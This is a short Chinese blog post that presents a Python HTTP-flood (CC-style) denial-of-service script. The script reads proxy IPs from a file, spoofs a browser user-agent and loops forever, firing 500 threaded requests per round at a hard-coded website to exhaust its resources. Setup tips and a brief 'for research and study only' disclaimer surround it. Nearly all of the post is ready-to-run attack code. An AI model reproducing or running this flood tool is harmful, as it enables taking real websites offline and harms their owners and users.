这只是最简单的一种方案,原理很简单,就是利用多线程,和大量的代理IP,不断的对一个网站发起请求,达到耗尽服务器端资源,来达到拒绝访问的目的。要有效果,前提是你的代理ip都是能用的,这将直接影响到效率。
声明:仅仅作为研究和学习使用,请不要用此脚本恶意攻击别人。
import requests
import threading
from queue import Queue
import random
q=Queue()
class Cc:
def get_text(self):
iplist=[]
with open('ip.txt','r',encoding='utf-8')as f:
a=f.readlines()
for x in a:
iplist.append(x.strip('\n'))
return iplist
def start(self,url):
iplist = self.get_text()
ip = random.choice(iplist)
headers = {
'user-agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.25 Safari/537.36 Core/1.70.3722.400 QQBrowser/10.5.3751.400',
}
t={
'http':ip
}
try:
get=requests.get(url=url,headers=headers,proxies=t)
print('完成')
except Exception as e:
print('失败')
def go(self,url):
for x in range(500):
th=threading.Thread(target=self.start,args=(url,))
th.start()
th.join()
if __name__ == '__main__':
c = Cc()
while True:
c.go('http://666cc.cn/')
温馨提示:Python需要安装第三方库requests,方法打开cmd运行pip install requests
,且第11行的 ip.txt 文件与程序文件在同一目录。
© 版权声明
THE END
暂无评论内容